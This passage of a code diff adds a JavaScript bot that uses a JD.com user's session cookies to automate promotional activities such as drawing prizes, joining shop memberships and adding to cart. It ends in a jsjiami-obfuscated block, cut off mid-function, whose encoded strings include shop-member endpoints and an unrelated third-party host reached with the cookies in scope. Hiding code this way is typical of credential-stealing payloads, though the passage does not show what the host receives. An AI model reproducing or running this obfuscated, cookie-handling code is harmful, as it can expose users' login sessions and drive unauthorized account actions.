case "jul/qixiFirst/activityContent": + // console.log(data) + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`); + $.log("-------------------"); + if ($.index === 1) { + ownCode = data.data.actorUuid; + console.log(ownCode); + } + $.actorUuid = data.data.actorUuid; + } else { + $.log("活动已经结束"); + } + break; + case "jul/qixiFirst/initOpenCard": + $.openCardList = data.data.openInfo; + $.openCardStatus = data.data.allOpenCard; + // console.log(data) + break; + case "jul/qixiFirst/saveTask": + console.log(data); + break; + case "jul/qixiFirst/draw": + console.log(data); + break; + case "opencard/addCart": + if (data.data) { + console.log(data.data); + } + break; + case "linkgame/sendAllCoupon": + if (data.data) { + console.log(data.data); + } + + break; + case "interaction/write/writePersonInfo": + console.log(data); + break; + case "linkgame/draw": + console.log(data); + break; + case "linkgame/draw/record": + console.log(data.data); + break; + case "linkgame/assist/status": + $.log(JSON.stringify(data)); + break; + case "linkgame/assist": + $.log(JSON.stringify(data)); + break; + case "opencard/help/list": + $.log(JSON.stringify(data)); + break; + default: + // $.log(JSON.stringify(data)) + break; + } + } else { + // $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }); + }); +} +function taskaccessLog(function_id, body, isCommon = 0) { + return new Promise((resolve) => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + // console.log(resp); + if (resp["headers"]["set-cookie"]) { + cookie = `${originCookie};`; + for (let sk of resp["headers"]["set-cookie"]) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1); + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + "=" + lz_cookie[vo] + ";"; + } + } + } + } catch (error) { + console.log(error); + } finally { + resolve(); + } + }); + }); +} +function getAuthorCodeList(url) { + return new Promise((resolve) => { + const options = { + url: `${url}?${new Date()}`, + timeout: 10000, + headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88", + }, + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + // $.log(err) + $.getAuthorCodeListerr = false; + } else { + if (data) data = JSON.parse(data); + $.getAuthorCodeListerr = true; + } + } catch (e) { + $.logErr(e, resp); + data = null; + } finally { + resolve(data); + } + }); + }); +} + +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: "lzdz1-isv.isvjcloud.com", + Accept: "application/json", + "X-Requested-With": "XMLHttpRequest", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + Origin: "https://lzdz1-isv.isvjcloud.com", + "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: "keep-alive", + Referer: $.activityUrl, + Cookie: $.cookie, + }, + body: body, + }; +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: "lzdz1-isv.isvjcloud.com", + Accept: "application/json", + "X-Requested-With": "XMLHttpRequest", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + Origin: "https://lzdz1-isv.isvjcloud.com", + "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: "keep-alive", + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1`, + }; + return new Promise((resolve) => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + if (resp["headers"]["set-cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + if (resp["headers"]["Set-Cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + if (data) { + data = JSON.parse(data); + if (data.result) { + $.log(`你好:${data.data.nickname}`); + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}`; + } else { + $.log(data.errorMessage); + } + } else { + $.log("京东返回了空数据"); + } + $.cookie = cookie + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }); + }); +} +function getFirstLZCK() { + return new Promise((resolve) => { + $.get( + { + url: $.activityUrl, + headers: { + "user-agent": $.isNode() ? process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : require("./USER_AGENTS").USER_AGENT : $.getdata("JDUA") ? $.getdata("JDUA") : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + }, + (err, resp, data) => { + try { + if (err) { + console.log(err); + } else { + if (resp["headers"]["set-cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + if (resp["headers"]["Set-Cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + $.cookie = cookie + } + } catch (error) { + console.log(error); + } finally { + resolve(); + } + } + ); + }); +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": "JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)", + "Accept-Language": "zh-Hans-CN;q=1", + "Accept-Encoding": "gzip, deflate, br", + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05`, + }; + return new Promise((resolve) => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token; + } + } else { + $.log("京东返回了空数据"); + } + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }); + }); +} +function random(min, max) { + return Math.floor(Math.random() * (max - min)) + min; +} +function getUUID(format = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = (Math.random() * 16) | 0, + v = c == "x" ? r : (r & 0x3) | 0x8; + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36); + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + }, + }; + return new Promise((resolve) => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log("京东返回了空数据"); + } + } + } catch (e) { + $.logErr(e); + } finally { + resolve(); + } + }); + }); +} +// prettier-ignore +var _0xod2='jsjiami.com.v6',_0xod2_=['‮_0xod2'],_0x2521=[_0xod2,'\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x51\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x61\x30\x70\x69\x59\x32\x67\x3d','\x64\x30\x6c\x71\x59\x55\x30\x3d','\x53\x46\x6c\x48\x5a\x6e\x41\x3d','\x53\x31\x4e\x45\x56\x45\x6f\x3d','\x65\x57\x70\x36\x51\x6b\x59\x3d','\x56\x6b\x4e\x4a\x54\x46\x6b\x3d','\x57\x6d\x5a\x6b\x57\x47\x38\x3d','\x62\x55\x5a\x70\x5a\x32\x34\x3d','\x65\x6e\x52\x6a\x65\x47\x4d\x3d','\x53\x46\x52\x42\x52\x45\x51\x3d','\x63\x30\x52\x74\x63\x6b\x34\x3d','\x64\x47\x4e\x32\x64\x6d\x6f\x3d','\x51\x6b\x56\x52\x64\x45\x30\x3d','\x64\x6e\x5a\x61\x51\x58\x4d\x3d','\x57\x57\x56\x77\x54\x31\x63\x3d','\x4f\x47\x46\x6b\x5a\x6d\x49\x3d','\x61\x6d\x52\x66\x63\x32\x68\x76\x63\x46\x39\x74\x5a\x57\x31\x69\x5a\x58\x49\x3d','\x4f\x53\x34\x79\x4c\x6a\x41\x3d','\x61\x6d\x52\x7a\x61\x57\x64\x75\x4c\x6d\x4e\x6d','\x57\x57\x78\x42\x64\x6d\x67\x3d','\x59\x58\x52\x70\x63\x46\x6f\x3d','\x59\x58\x42\x77\x62\x47\x6c\x6a\x59\x58\x52\x70\x62\x32\x34\x76\x61\x6e\x4e\x76\x62\x67\x3d\x3d','\x55\x56\x52\x45\x52\x31\x59\x3d','\x56\x57\x5a\x6a\x61\x32\x59\x3d','\x64\x30\x64\x35\x63\x32\x30\x3d','\x5a\x56\x42\x70\x59\x55\x34\x3d','\x61\x6d\x56\x6c\x62\x45\x77\x3d','\x64\x56\x56\x69\x63\x6d\x6f\x3d','\x5a\x30\x52\x43\x64\x56\x67\x3d','\x62\x31\x52\x42\x62\x6b\x73\x3d','\x59\x6e\x5a\x34\x62\x6b\x49\x3d','\x53\x46\x4a\x46\x59\x32\x51\x3d','\x62\x47\x39\x6e\x52\x58\x4a\x79','\x64\x58\x70\x79\x59\x55\x34\x3d','\x53\x45\x39\x77\x52\x46\x45\x3d','\x62\x48\x4e\x72\x63\x45\x55\x3d','\x61\x45\x74\x35\x54\x6b\x4d\x3d','\x5a\x57\x35\x32','\x55\x30\x6c\x48\x54\x6c\x39\x56\x55\x6b\x77\x3d','\x55\x57\x31\x50\x63\x6c\x51\x3d','\x64\x55\x4a\x30\x62\x6b\x63\x3d','\x63\x31\x56\x47\x52\x45\x34\x3d','\x5a\x6d\x78\x76\x62\x33\x49\x3d','\x63\x6d\x46\x75\x5a\x47\x39\x74','\x62\x47\x56\x75\x5a\x33\x52\x6f','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x6a\x5a\x47\x34\x75\x62\x6e\x6f\x75\x62\x48\x55\x76\x5a\x32\x56\x30\x61\x44\x56\x7a\x64\x41\x3d\x3d','\x61\x31\x6c\x51\x52\x6c\x49\x3d','\x63\x47\x39\x7a\x64\x41\x3d\x3d','\x63\x6c\x5a\x56\x62\x46\x6b\x3d','\x56\x30\x56\x31\x51\x6c\x49\x3d','\x63\x57\x5a\x48\x54\x48\x51\x3d','\x59\x58\x42\x77\x62\x48\x6b\x3d','\x52\x55\x64\x6f\x52\x33\x63\x3d','\x55\x6b\x52\x32\x56\x32\x73\x3d','\x59\x56\x4e\x6c\x52\x30\x4d\x3d','\x64\x31\x4e\x4f\x55\x48\x63\x3d','\x63\x33\x5a\x71\x53\x30\x67\x3d','\x52\x55\x78\x75\x63\x56\x59\x3d','\x56\x47\x64\x6c\x62\x57\x38\x3d','\x59\x58\x4e\x33\x59\x33\x59\x3d','\x51\x6b\x39\x58\x62\x58\x45\x3d','\x54\x6b\x70\x44\x59\x6d\x73\x3d','\x61\x33\x70\x47\x57\x45\x55\x3d','\x53\x47\x46\x48\x56\x57\x59\x3d','\x63\x6e\x42\x56\x52\x58\x41\x3d','\x59\x58\x42\x70\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74','\x4b\x69\x38\x71','\x61\x32\x56\x6c\x63\x43\x31\x68\x62\x47\x6c\x32\x5a\x51\x3d\x3d','\x65\x6d\x67\x74\x59\x32\x34\x3d','\x5a\x33\x70\x70\x63\x43\x77\x67\x5a\x47\x56\x6d\x62\x47\x46\x30\x5a\x53\x77\x67\x59\x6e\x49\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x39\x68\x63\x48\x42\x70\x5a\x44\x31\x71\x5a\x46\x39\x7a\x61\x47\x39\x77\x58\x32\x31\x6c\x62\x57\x4a\x6c\x63\x69\x5a\x6d\x64\x57\x35\x6a\x64\x47\x6c\x76\x62\x6b\x6c\x6b\x50\x57\x64\x6c\x64\x46\x4e\x6f\x62\x33\x42\x50\x63\x47\x56\x75\x51\x32\x46\x79\x5a\x45\x6c\x75\x5a\x6d\x38\x6d\x59\x6d\x39\x6b\x65\x54\x30\x3d','\x57\x6e\x6c\x76\x61\x57\x73\x3d','\x63\x33\x52\x79\x61\x57\x35\x6e\x61\x57\x5a\x35','\x4a\x6d\x4e\x73\x61\x57\x56\x75\x64\x44\x31\x49\x4e\x53\x5a\x6a\x62\x47\x6c\x6c\x62\x6e\x52\x57\x5a\x58\x4a\x7a\x61\x57\x39\x75\x50\x54\x6b\x75\x4d\x69\x34\x77\x4a\x6e\x56\x31\x61\x57\x51\x39\x4f\x44\x67\x34\x4f\x44\x67\x3d','\x5a\x56\x64\x6b\x55\x6d\x55\x3d','\x52\x56\x4e\x31\x65\x57\x6f\x3d','\x55\x30\x56\x5a\x65\x6c\x6f\x3d','\x61\x6d\x52\x68\x63\x48\x41\x37\x61\x56\x42\x6f\x62\x32\x35\x6c\x4f\x7a\x6b\x75\x4e\x53\x34\x30\x4f\x7a\x45\x7a\x4c\x6a\x59\x37','\x56\x56\x56\x4a\x52\x41\x3d\x3d','\x4f\x32\x35\x6c\x64\x48\x64\x76\x63\x6d\x73\x76\x64\x32\x6c\x6d\x61\x54\x74\x42\x52\x45\x6c\x45\x4c\x77\x3d\x3d','\x51\x55\x52\x4a\x52\x41\x3d\x3d','\x4f\x32\x31\x76\x5a\x47\x56\x73\x4c\x32\x6c\x51\x61\x47\x39\x75\x5a\x54\x45\x77\x4c\x44\x4d\x37\x59\x57\x52\x6b\x63\x6d\x56\x7a\x63\x32\x6c\x6b\x4c\x7a\x41\x37\x59\x58\x42\x77\x51\x6e\x56\x70\x62\x47\x51\x76\x4d\x54\x59\x33\x4e\x6a\x59\x34\x4f\x32\x70\x6b\x55\x33\x56\x77\x63\x47\x39\x79\x64\x45\x52\x68\x63\x6d\x74\x4e\x62\x32\x52\x6c\x4c\x7a\x41\x37\x54\x57\x39\x36\x61\x57\x78\x73\x59\x53\x38\x31\x4c\x6a\x41\x67\x4b\x47\x6c\x51\x61\x47\x39\x75\x5a\x54\x73\x67\x51\x31\x42\x56\x49\x47\x6c\x51\x61\x47\x39\x75\x5a\x53\x42\x50\x55\x79\x41\x78\x4d\x31\x38\x32\x49\x47\x78\x70\x61\x32\x55\x67\x54\x57\x46\x6a\x49\x45\x39\x54\x49\x46\x67\x70\x49\x45\x46\x77\x63\x47\x78\x6c\x56\x32\x56\x69\x53\x32\x6c\x30\x4c\x7a\x59\x77\x4e\x53\x34\x78\x4c\x6a\x45\x31\x49\x43\x68\x4c\x53\x46\x52\x4e\x54\x43\x77\x67\x62\x47\x6c\x72\x5a\x53\x42\x48\x5a\x57\x4e\x72\x62\x79\x6b\x67\x54\x57\x39\x69\x61\x57\x78\x6c\x4c\x7a\x45\x31\x52\x54\x45\x30\x4f\x44\x74\x7a\x64\x58\x42\x77\x62\x33\x4a\x30\x53\x6b\x52\x54\x53\x46\x64\x4c\x4c\x7a\x45\x3d','\x53\x55\x4e\x55\x55\x47\x59\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x7a\x61\x47\x39\x77\x62\x57\x56\x74\x59\x6d\x56\x79\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74\x4c\x33\x4e\x6f\x62\x33\x42\x6a\x59\x58\x4a\x6b\x4c\x7a\x39\x32\x5a\x57\x35\x6b\x5a\x58\x4a\x4a\x5a\x44\x30\x3d','\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x67\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x54\x47\x46\x4e\x59\x32\x34\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x56\x63\x6d\x77\x3d','\x5a\x6b\x6c\x5a\x63\x57\x77\x3d','\x5a\x46\x4e\x51\x64\x45\x59\x3d','\x5a\x56\x68\x4e\x5a\x58\x6f\x3d','\x5a\x32\x56\x30','\x56\x45\x5a\x6f\x57\x57\x38\x3d','\x64\x57\x4e\x32\x61\x6d\x45\x3d','\x52\x55\x4e\x7a\x56\x6e\x6b\x3d','\x62\x47\x39\x6e','\x63\x47\x46\x79\x63\x32\x55\x3d','\x63\x33\x56\x6a\x59\x32\x56\x7a\x63\x77\x3d\x3d','\x63\x6d\x56\x7a\x64\x57\x78\x30','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x55\x6e\x56\x73\x5a\x55\x78\x70\x63\x33\x51\x3d','\x62\x33\x42\x6c\x62\x6b\x4e\x68\x63\x6d\x52\x42\x59\x33\x52\x70\x64\x6d\x6c\x30\x65\x55\x6c\x6b','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x53\x57\x35\x6d\x62\x77\x3d\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x4a\x5a\x41\x3d\x3d','\x53\x6c\x70\x42\x5a\x6c\x63\x3d','\x53\x46\x46\x44\x5a\x45\x59\x3d','\x62\x48\x56\x55\x63\x6d\x51\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x4a\x74\x5a\x58\x4e\x7a\x59\x57\x64\x6c','\x62\x57\x56\x7a\x63\x32\x46\x6e\x5a\x51\x3d\x3d','\x62\x6d\x4a\x71\x63\x6d\x38\x3d','\x55\x58\x52\x47\x61\x56\x67\x3d','\x52\x46\x6c\x31\x63\x57\x63\x3d','\x54\x57\x5a\x44\x62\x6d\x38\x3d','\x59\x6e\x5a\x59\x57\x46\x6f\x3d','\x56\x6b\x6c\x55\x63\x46\x51\x3d','\x51\x33\x46\x4c\x51\x6c\x67\x3d','\x56\x56\x4e\x76\x5a\x45\x59\x3d','\x52\x47\x6c\x32\x54\x58\x59\x3d','\x56\x48\x6c\x6e\x5a\x6d\x30\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x49\x3d','\x55\x32\x64\x74\x57\x46\x59\x3d','\x5a\x6d\x35\x42\x61\x32\x6b\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x38\x3d','\x62\x47\x52\x52\x62\x32\x30\x3d','\x54\x55\x70\x53\x63\x45\x63\x3d','\x54\x55\x4e\x6f\x53\x6c\x59\x3d','\x57\x47\x6c\x4b\x63\x6c\x63\x3d','\x6a\x73\x6a\x4b\x7a\x71\x69\x44\x61\x6d\x59\x69\x46\x2e\x52\x4a\x63\x6f\x4f\x65\x6d\x2e\x76\x51\x36\x4b\x43\x62\x3d\x3d'];if(function(_0x2277b4,_0x973061,_0x28df6a){function _0x5bdc51(_0x41f15a,_0x1112ff,_0x8c36a8,_0x1f3f77,_0x1ecf84,_0x5be323){_0x1112ff=_0x1112ff>>0x8,_0x1ecf84='po';var _0x2744bc='shift',_0x2fe2d3='push',_0x5be323='‮';if(_0x1112ff<_0x41f15a){while(--_0x41f15a){_0x1f3f77=_0x2277b4[_0x2744bc]();if(_0x1112ff===_0x41f15a&&_0x5be323==='‮'&&_0x5be323['length']===0x1){_0x1112ff=_0x1f3f77,_0x8c36a8=_0x2277b4[_0x1ecf84+'p']();}else if(_0x1112ff&&_0x8c36a8['replace'](/[KzqDYFRJOeQKCb=]/g,'')===_0x1112ff){_0x2277b4[_0x2fe2d3](_0x1f3f77);}}_0x2277b4[_0x2fe2d3](_0x2277b4[_0x2744bc]());}return 0xde733;};return _0x5bdc51(++_0x973061,_0x28df6a)>>_0x973061^_0x28df6a;}(_0x2521,0x136,0x13600),_0x2521){_0xod2_=_0x2521['length']^0x136;};function _0x219b(_0x19cca3,_0xd01416){_0x19cca3=~~'0x'['concat'](_0x19cca3['slice'](0x1));var _0x5e241a=_0x2521[_0x19cca3];if(_0x219b['SQLhKl']===undefined&&'‮'['length']===0x1){(function(){var _0x2a4157;try{var _0x1a3b6e=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x2a4157=_0x1a3b6e();}catch(_0x5649f7){_0x2a4157=window;}var _0x41452e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2a4157['atob']||(_0x2a4157['atob']=function(_0x2e050a){var _0x44c966=String(_0x2e050a)['replace'](/=+$/,'');for(var _0xd76250=0x0,_0x14d201,_0x5e06c3,_0x19370a=0x0,_0x2309e9='';_0x5e06c3=_0x44c966['charAt'](_0x19370a++);~_0x5e06c3&&(_0x14d201=_0xd76250%0x4?_0x14d201*0x40+_0x5e06c3:_0x5e06c3,_0xd76250++%0x4)?_0x2309e9+=String['fromCharCode'](0xff&_0x14d201>>(-0x2*_0xd76250&0x6)):0x0){_0x5e06c3=_0x41452e['indexOf'](_0x5e06c3);}return _0x2309e9;});}());_0x219b['cHEEak']=function(_0x1d83d8){var _0x5d1157=atob(_0x1d83d8);var _0x557fcf=[];for(var _0xa1d923=0x0,_0x302be1=_0x5d1157['length'];_0xa1d923<_0x302be1;_0xa1d923++){_0x557fcf+='%'+('00'+_0x5d1157['charCodeAt'](_0xa1d923)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x557fcf);};_0x219b['yVqUlS']={};_0x219b['SQLhKl']=!![];}var _0x1eab5b=_0x219b['yVqUlS'][_0x19cca3];if(_0x1eab5b===undefined){_0x5e241a=_0x219b['cHEEak'](_0x5e241a);_0x219b['yVqUlS'][_0x19cca3]=_0x5e241a;}else{_0x5e241a=_0x1eab5b;}return _0x5e241a;};function getShopOpenCardInfo(_0x427ea7,_0xd8a74){var _0x57a1ec={'\x54\x46\x68\x59\x6f':function(_0x3bf920,_0xb95601){return _0x3bf920!==_0xb95601;},'\x75\x63\x76\x6a\x61':_0x219b('‮0'),'\x45\x43\x73\x56\x79':_0x219b('‫1'),'\x4a\x5a\x41\x66\x57':_0x219b('‮2'),'\x48\x51\x43\x64\x46':_0x219b('‫3'),'\x6c\x75\x54\x72\x64':_0x219b('‫4'),'\x6e\x62\x6a\x72\x6f':function(_0x1ae4cf,_0x16a0a7){return _0x1ae4cf===_0x16a0a7;},'\x51\x74\x46\x69\x58':_0x219b('‮5'),'\x4d\x66\x43\x6e\x6f':function(_0x524909,_0xd1e9e6){return _0x524909===_0xd1e9e6;},'\x62\x76\x58\x58\x5a':_0x219b('‮6'),'\x56\x49\x54\x70\x54':function(_0x4fae49){return _0x4fae49();},'\x5a\x79\x6f\x69\x6b':function(_0x21d446,_0x2a69bc){return _0x21d446(_0x2a69bc);},'\x64\x53\x50\x74\x46':function(_0x361710,_0x4e7aec){return _0x361710===_0x4e7aec;},'\x65\x58\x4d\x65\x7a':_0x219b('‫7'),'\x65\x57\x64\x52\x65':_0x219b('‮8'),'\x45\x53\x75\x79\x6a':_0x219b('‫9'),'\x53\x45\x59\x7a\x5a':_0x219b('‫a'),'\x49\x43\x54\x50\x66':_0x219b('‮b'),'\x4c\x61\x4d\x63\x6e':function(_0x4511c8,_0x436c7f){return _0x4511c8(_0x436c7f);},'\x66\x49\x59\x71\x6c':_0x219b('‫c')};let _0x43735d={'\x75\x72\x6c':_0x219b('‮d')+_0x57a1ec[_0x219b('‮e')](encodeURIComponent,JSON[_0x219b('‫f')](_0x427ea7))+_0x219b('‫10'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x57a1ec[_0x219b('‮11')],'\x41\x63\x63\x65\x70\x74':_0x57a1ec[_0x219b('‫12')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x57a1ec[_0x219b('‮13')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x219b('‫14')+$[_0x219b('‫15')]+_0x219b('‮16')+$[_0x219b('‫17')]+_0x219b('‮18'),'Accept-Language':_0x57a1ec[_0x219b('‫19')],'\x52\x65\x66\x65\x72\x65\x72':_0x219b('‫1a')+_0xd8a74+_0x219b('‫1b')+_0x57a1ec[_0x219b('‫1c')](encodeURIComponent,$[_0x219b('‮1d')]),'Accept-Encoding':_0x57a1ec[_0x219b('‮1e')]}};return new Promise(_0x4d8528=>{var _0x4a857c={'\x44\x59\x75\x71\x67':function(_0x1cc541,_0x551ac5){return _0x57a1ec[_0x219b('‮e')](_0x1cc541,_0x551ac5);}};if(_0x57a1ec[_0x219b('‫1f')](_0x57a1ec[_0x219b('‫20')],_0x57a1ec[_0x219b('‫20')])){$[_0x219b('‮21')](_0x43735d,(_0x42bd53,_0xba57c8,_0x114bc1)=>{try{if(_0x42bd53){if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‮23')],_0x57a1ec[_0x219b('‮24')])){console[_0x219b('‫25')](_0x42bd53);}else{res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){if(res[_0x219b('‫28')][_0x219b('‮29')]){$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}}else{if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‫2d')],_0x57a1ec[_0x219b('‮2e')])){res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){if(res[_0x219b('‫28')][_0x219b('‮29')]){if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‮2f')],_0x57a1ec[_0x219b('‮2f')])){res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}else{$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}}else{$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}catch(_0x435943){if(_0x57a1ec[_0x219b('‮32')](_0x57a1ec[_0x219b('‮33')],_0x57a1ec[_0x219b('‮33')])){console[_0x219b('‫25')](_0x435943);}else{_0x4a857c[_0x219b('‮34')](_0x4d8528,_0x114bc1);}}finally{if(_0x57a1ec[_0x219b('‫35')](_0x57a1ec[_0x219b('‮36')],_0x57a1ec[_0x219b('‮36')])){_0x57a1ec[_0x219b('‮37')](_0x4d8528);}else{if(res[_0x219b('‫28')][_0x219b('‮29')]){$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}});}else{console[_0x219b('‫25')](err);}});}async function bindWithVender(_0x6a4f96,_0x2eb643){var _0x5c8438={'\x48\x59\x47\x66\x70':function(_0x343f54,_0x48d0e2){return 